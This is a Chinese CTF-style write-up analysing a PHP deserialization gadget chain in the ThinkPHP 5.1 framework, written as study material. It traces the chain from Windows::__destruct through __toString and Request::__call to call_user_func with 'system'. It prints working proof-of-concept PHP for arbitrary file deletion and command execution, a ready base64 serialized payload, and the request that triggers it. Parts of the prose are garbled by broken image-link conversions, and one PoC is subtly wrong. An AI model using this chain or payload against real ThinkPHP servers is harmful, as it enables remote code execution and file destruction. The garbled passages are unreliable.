《从0到1》配套练习:thinkphp5.1反序列化利用链
以5.x为例
在5.0中,thinkphp的结构目录主要变化是配置目录和定义路由独立了出来(且不可更改)
其目录结构如下图所示:
www WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改
│ ├─module_name 模块目录
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ ├─config 配置目录
│ │ └─ … 更多类库目录
│ │
│ ├─command.php 命令行定义文件
│ ├─common.php 公共函数文件
│ └─tags.php 应用行为扩展定义文件
│
├─config 应用配置目录
│ ├─module_name 模块配置目录
│ │ ├─database.php 数据库配置
│ │ ├─cache 缓存配置
│ │ └─ …
│ │
│ ├─app.php 应用配置
│ ├─cache.php 缓存配置
│ ├─cookie.php Cookie配置
│ ├─database.php 数据库配置
│ ├─log.php 日志配置
│ ├─session.php Session配置
│ ├─template.php 模板引擎配置
│ └─trace.php Trace配置
│
├─route 路由定义目录
│ ├─route.php 路由定义
│ └─… 更多
│
├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ └─logo.png 框架LOGO文件
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
Think遵循惯例重于配置的原则,按照一下顺序来加载配置文件
惯例配置->应用配置->模块配置->动态配置
惯例配置:核心框架内置的配置文件,无需更改
应用配置:每个应用的全局配置文件(框架安装后会生成初始的应用配置文件),有部分配置参数仅能在应用配置文件中设置
模块配置:每个模块的配置文件(相同的配置参数会覆盖应用配置),有部分配置参数模块配置是无效的,因为已经使用过
动态配置:主要是指在控制器或者行为中进行(动态)更改配置,该配置方式只在当次请求有效,因为不会保存到配置文件中
完全开发手册
更多详情查看thinkphp开发手册
https://www.kancloud.cn/manual/thinkphp5_1/353946
Thinkphp 反序列化利用链深入分析
题目(源码为thinkphp 5.1)
函数跟踪
全局搜索__destruct()函数
在/thinkphp/library/think/process/pipes/Windows.php中找到
public function __destruct()
{
$this->close();
$this->removeFiles();
}
接着跟进removeFiles()函数
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
我们发现里面![](https://g.yuque.com/gr/latex?this-%3Efiles%20%3D%20%5B%5D%E8%80%8C%E4%B8%94#card=math&code=this-%3Efiles%20%3D%20%5B%5D%2A%2A%E8%80%8C%E4%B8%94)filename可控,因此可以存在任意文件删除漏洞
因此我们可以构造POC
<?php
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes{
private $files = [];
private function __destruct(){
$this->files = ['需要删除的文件(路径)'];
}
}
$a = new Windows();
echo base64_encode(serialize($a));
寻找触发点
在romoveFiles()函数中我们可以知道其使用file_exsits()来对$filename进行处理
file_exsits函数会把传入值作为字符串处理
而魔术方法__toString()则会当一个对象反序列后被当作字符串处理时触发,因此我们可以通过传入一个参数来触发__toString()
在\thinkphp\library\think\model\concern\Conversion.php中有toJson()方法
public function __toString()
{
return $this->toJson();
}
接着我们跟进toJson()方法————>转换当前数据集为JSON字符串
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
public function __toString()
{
return $this->toJson();
}
再跟进 toArray()方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
.....
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
.....
我们需要在toArray()中找到一个满足$filename->方法(参数可控)的地方
这里我们跟进getRelation方法
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
我们发现这里与&relation关联不大,因此我们可以跟进getAttr()函数
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
} ······
接着我们再跟进getData()方法
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
这里 我们知道,this->data[$name]。
同时,这里我们类的定义使用的是Trait
因此这里类的继承使用的是use关键字
接着我们需要找一个子类同时继承 Attribute 和 Conversion 类
在 \thinkphp\library\think\Model.ph中可以找到
abstract class Model implements \JsonSerializable,\ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
到此,我们需要审计的内容基本上就完成了。
执行分析
接下来我们需要寻找到一个好的触发点,比如魔术方法call()
因为call中一般存在 **call_user_func 和 **call_user_func_array
在/thinkphp/library/think/Request.php中我们可以找到这么一个__call函数
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
在这里我们看到hook是可以控制的,因此我们可以构造一个以它为数组的
这里我们可以构造参数传入给$method
但是由于这里array_unshif会导致传入的数组的新值放在数组开头,这样就会导致我们构造传入的payload无法使用
在thinkphp的Reuqests中还有一个filter方法去执行代码
我们全局搜索一下寻找$filter可控的点
private function filterValue(&$value, $key, $filters)
接着我们继续寻找$value可控的点
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
....
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
但是这里我们发现input函数的参数不可控,可以通过寻找调用了input函数的函数向上寻找找到param函数
public function param($name = '', $default = null, $filter = '')
{
......
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
这里我们发现这里我们依旧无法控制参数输入的值,继续寻找能调用param函数的地方,我们找到了isAjax函数
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
这里我们发现$result = this->config[‘var_ajax’]) ? true : ![](https://g.yuque.com/gr/latex?result%3B%E5%8F%AF%E6%8E%A7%20%20%0A%E9%82%A3%E4%B9%88%E6%88%91%E4%BB%AC%E5%B0%B1%E5%8F%AF%E4%BB%A5%E7%9B%B8%E5%BA%94%E6%8E%A7%E5%88%B6param%E4%B8%AD%E7%9A%84#card=math&code=result%3B%2A%2A%E5%8F%AF%E6%8E%A7%20%20%0A%E9%82%A3%E4%B9%88%E6%88%91%E4%BB%AC%E5%B0%B1%E5%8F%AF%E4%BB%A5%E7%9B%B8%E5%BA%94%E6%8E%A7%E5%88%B6param%E4%B8%AD%E7%9A%84)name,再相应的,我们可以控制input中的name就可以由isAjax中的$this->config[‘var_ajax’]来控制
再看到input函数中有$data = data, $name);
我们跟进getData函数
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
我们可以知道这里$data = val]
接着我们再看看getFilter函数,寻找$filter参数的控制点
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
这里我们知道$filter = $filter ?: ![](https://g.yuque.com/gr/latex?this-%3Efilter%3B%20%20%0A%E5%88%99%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8E%A7%E5%88%B6%E5%AE%9A%E4%B9%89#card=math&code=this-%3Efilter%3B%2A%2A%20%20%0A%E5%88%99%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8E%A7%E5%88%B6%E5%AE%9A%E4%B9%89)filter为函数名
回过头我们看到input函数中有这么一段
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
array_walk_recursive——>对数组中的每个成员递归地应用用户函数(回调函数
我们跟进filterValue函数
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
.......
分析可知,filter
于是我们继续构造POC:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["calc.exe","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
利用
我们需要再index.php中构建一个新的利用点
写入
$str = base64_decode($_POST['a']);
unserialize($str);
接着我们传入
GET:?ethan=calc
POST:a=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czo4OiJjYWxjLmV4ZSI7aToxO3M6NDoiY2FsYyI7fX1zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjU6ImV0aGFuIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjk7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czowOiIiO319fX19fQ==
则可成功利用
(这里本来想用博客园图床上传成功截图的,但是好像被拦截无法显示。。。下次尝试把图片放云服务器上
总结
在漏洞寻找的开始,我们可以通过寻找__destruct等魔术方法来寻找漏洞的存在点,再通过不断跟进函数来寻找可控点
在寻找可执行处(代码执行点)的时候,我们可以跟进像__call魔术方法从而调用__call_user_func等函数来寻找可执行的点
本人菜鸡,希望师傅们能帮忙指出出其中的错误,并且希望能指点孩子几句有什么可以提高的地方
题目练习
红帽杯2019 Ticket_System